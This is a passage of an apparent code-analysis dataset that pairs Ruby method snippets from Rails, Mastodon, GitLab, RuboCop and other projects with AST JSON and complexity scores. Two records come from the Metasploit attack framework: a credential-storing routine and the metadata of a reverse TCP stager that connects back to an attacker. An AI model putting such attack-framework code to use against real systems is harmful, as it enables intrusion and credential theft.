{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Realm\"]},\"Key\"]},\"ACTIVE_DIRECTORY_DOMAIN\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_value\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"de3debb1-501c-475c-9db1-1ab1113b576b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/json_streaming_parser.rb","start_line":204,"raw_source":"def end_document(&block)\n        @listeners[:end_document] << block\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"end_document\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listeners\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_document\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}","id":"62632105-72c1-4904-ba8b-ff3b10b07bb1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/osx/x64/reverse_tcp_uuid.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Reverse TCP Stager with UUID Support (OSX x64)',\n        'Description' => 'Connect back to the attacker with UUID Support (OSX x64)',\n        'Author' => 'timwr',\n        'License' => MSF_LICENSE,\n        'Platform' => 'osx',\n        'Arch' => ARCH_X64,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Stager' => { 'RequiresMidstager' => false }, # Originally set to true, but only Linux payloads use this at the moment, not OSX\n        'Convention' => 'sockedi'\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Reverse TCP Stager with UUID Support (OSX x64)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back to the attacker with UUID Support (OSX x64)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"timwr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiresMidstager\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockedi\"]}]}]}]}]}]}","id":"41b70701-ac34-436c-8650-915605d20c63"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/delete_account_service.rb","start_line":178,"raw_source":"def purge_polls!\n    @account.polls.reorder(nil).where.not(status_id: reported_status_ids).in_batches.delete_all\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_polls!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"polls\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_id\"]},{\"type\":\"send\",\"children\":[null,\"reported_status_ids\"]}]}]}]},\"in_batches\"]},\"delete_all\"]}]}","id":"fcefaa2b-b531-4fc0-abfa-441e723ae7cc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/test_event_service.rb","start_line":20,"raw_source":"def create_test_text\n    # As of now, we are using the last created instagram channel as the test channel,\n    # since we don't have any other channel for testing purpose at the time of meta approval\n    channel = Channel::Instagram.last\n\n    @inbox = ::Inbox.find_by(channel: channel)\n    return unless @inbox\n\n    @contact = create_test_contact\n\n    @conversation ||= create_test_conversation(conversation_params)\n\n    @message = @conversation.messages.create!(test_message_params)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_test_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"Instagram\"]},\"last\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Inbox\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@contact\",{\"type\":\"send\",\"children\":[null,\"create_test_contact\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conversation\"]},{\"type\":\"send\",\"children\":[null,\"create_test_conversation\",{\"type\":\"send\",\"children\":[null,\"conversation_params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"messages\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"test_message_params\"]}]}]}]}]}","id":"59829f53-8748-40ad-9658-8d7523476088"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/try_test.rb","start_line":70,"raw_source":"def test_try_with_instance_eval_block\n    assert_equal @string.reverse, @string.try { reverse }\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_try_with_instance_eval_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@string\"]},\"reverse\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@string\"]},\"try\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"reverse\"]}]}]}]}","id":"2563f16b-f7d8-4cac-a4c7-3ff5fd24f1f4"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/factories.rb","start_line":4,"raw_source":"def self.global\n    find_by(name: 'GlobalZone') || FactoryBot.create(:global_zone)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"global\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"GlobalZone\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"global_zone\"]}]}]}]}","id":"5ee93603-438e-42d1-b9da-40b802a1d481"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/maintenance_spec.rb","start_line":429,"raw_source":"def prepare_duplicate_data\n          ActiveRecord::Base.connection.remove_index :media_attachments, :shortcode\n          duplicate_record(:media_attachment, shortcode: shortcode)\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_duplicate_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"remove_index\",{\"type\":\"sym\",\"children\":[\"media_attachments\"]},{\"type\":\"sym\",\"children\":[\"shortcode\"]}]},{\"type\":\"send\",\"children\":[null,\"duplicate_record\",{\"type\":\"sym\",\"children\":[\"media_attachment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shortcode\"]},{\"type\":\"send\",\"children\":[null,\"shortcode\"]}]}]}]}]}]}","id":"84c0b136-039b-4558-abd9-5f531cb4e599"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_as_last_array_item.rb","start_line":66,"raw_source":"def check_braces(node)\n          return if node.braces?\n\n          add_offense(node, message: 'Wrap hash in `{` and `}`.') do |corrector|\n            corrector.wrap(node, '{', '}')\n          end\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_braces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"braces?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Wrap hash in `{` and `}`.\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"str\",\"children\":[\"{\"]},{\"type\":\"str\",\"children\":[\"}\"]}]}]}]}]}","id":"fa19d9c7-08b7-4ca1-9ce8-eacdce2e1024"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/namespaces_test_helper.rb","start_line":4,"raw_source":"def get_buy_minutes_path(namespace)\n    buy_minutes_subscriptions_path(selected_group: namespace.id)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_buy_minutes_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"buy_minutes_subscriptions_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"selected_group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"id\"]}]}]}]}]}","id":"3f5cebdc-9298-41a9-ad18-e0f507ea1169"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/badge_component.rb","start_line":35,"raw_source":"def icon_classes\n      classes = %w[gl-icon gl-badge-icon] + @icon_classes\n      classes.push(\"-gl-ml-2\") if circular_icon?\n      classes.join(\" \")\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"icon_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"gl-icon\"]},{\"type\":\"str\",\"children\":[\"gl-badge-icon\"]}]},\"+\",{\"type\":\"ivar\",\"children\":[\"@icon_classes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"circular_icon?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"push\",{\"type\":\"str\",\"children\":[\"-gl-ml-2\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"a6c10fff-45bb-412c-86ca-70fe085d463c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":430,"raw_source":"def test_timezone_awareness_tsrange_preserve_usec\n    tz = \"Pacific Time (US & Canada)\"\n\n    in_time_zone tz do\n      PostgresqlRange.reset_column_information\n      time_string = \"2017-09-26 07:30:59.132451 -0700\"\n      time = Time.zone.parse(time_string)\n      assert time.usec > 0\n\n      record = PostgresqlRange.new(ts_range: time_string..time_string)\n      assert_equal time..time, record.ts_range\n      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone\n      assert_equal time.usec, record.ts_range.begin.usec\n\n      record.save!\n      record.reload\n\n      assert_equal time..time, record.ts_range\n      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone\n      assert_equal time.usec, record.ts_range.begin.usec\n    end\n  end","complexity_score":53.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_timezone_awareness_tsrange_preserve_usec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tz\",{\"type\":\"str\",\"children\":[\"Pacific Time (US & Canada)\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_time_zone\",{\"type\":\"lvar\",\"children\":[\"tz\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"time_string\",{\"type\":\"str\",\"children\":[\"2017-09-26 07:30:59.132451 -0700\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"time_string\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"usec\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ts_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_string\"]},{\"type\":\"lvar\",\"children\":[\"time_string\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ts_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ts_range\"]},\"begin\"]},\"time_zone\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"usec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ts_range\"]},\"begin\"]},\"usec\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ts_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tz\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ts_range\"]},\"begin\"]},\"time_zone\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"usec\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"ts_range\"]},\"begin\"]},\"usec\"]}]}]}]}]}]}","id":"c2f81ce3-98ec-4ba4-a186-bebfc6f2dcbc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_begin.rb","start_line":80,"raw_source":"def on_def(node)\n          return unless node.body&.kwbegin_type?\n          return if node.endless?\n\n          register_offense(node.body)\n        end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"on_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},\"kwbegin_type?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"endless?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]}]}]}","id":"8e1d7fc7-3cf8-4596-b6b0-682f2bd9e0d9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1346,"raw_source":"def test_has_many_through_associations_sum_on_columns\n    post1 = Post.create(title: \"active\", body: \"sample\")\n    post2 = Post.create(title: \"inactive\", body: \"sample\")\n\n    person1 = Person.create(first_name: \"aaron\", followers_count: 1)\n    person2 = Person.create(first_name: \"schmit\", followers_count: 2)\n    person3 = Person.create(first_name: \"bill\", followers_count: 3)\n    person4 = Person.create(first_name: \"cal\", followers_count: 4)\n\n    Reader.create(post_id: post1.id, person_id: person1.id)\n    Reader.create(post_id: post1.id, person_id: person2.id)\n    Reader.create(post_id: post1.id, person_id: person3.id)\n    Reader.create(post_id: post1.id, person_id: person4.id)\n\n    Reader.create(post_id: post2.id, person_id: person1.id)\n    Reader.create(post_id: post2.id, person_id: person2.id)\n    Reader.create(post_id: post2.id, person_id: person3.id)\n    Reader.create(post_id: post2.id, person_id: person4.id)\n\n    active_persons = Person.joins(:readers).joins(:posts).distinct(true).where(\"posts.title\" => \"active\")\n\n    assert_equal 10, active_persons.map(&:followers_count).reduce(:+)\n    assert_equal 10, active_persons.sum(:followers_count)\n    assert_equal active_persons.sum(:followers_count), active_persons.map(&:followers_count).reduce(:+)\n  end","complexity_score":61.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_associations_sum_on_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"active\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"sample\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"inactive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"sample\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"aaron\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"schmit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_count\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person3\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"bill\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_count\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"person4\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"cal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_count\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post1\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person1\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post1\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person2\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post1\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person3\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post1\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person4\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post2\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person1\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post2\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person2\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post2\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person3\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reader\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post2\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"person_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person4\"]},\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"active_persons\",{\"type\":\"send\",\"children\":[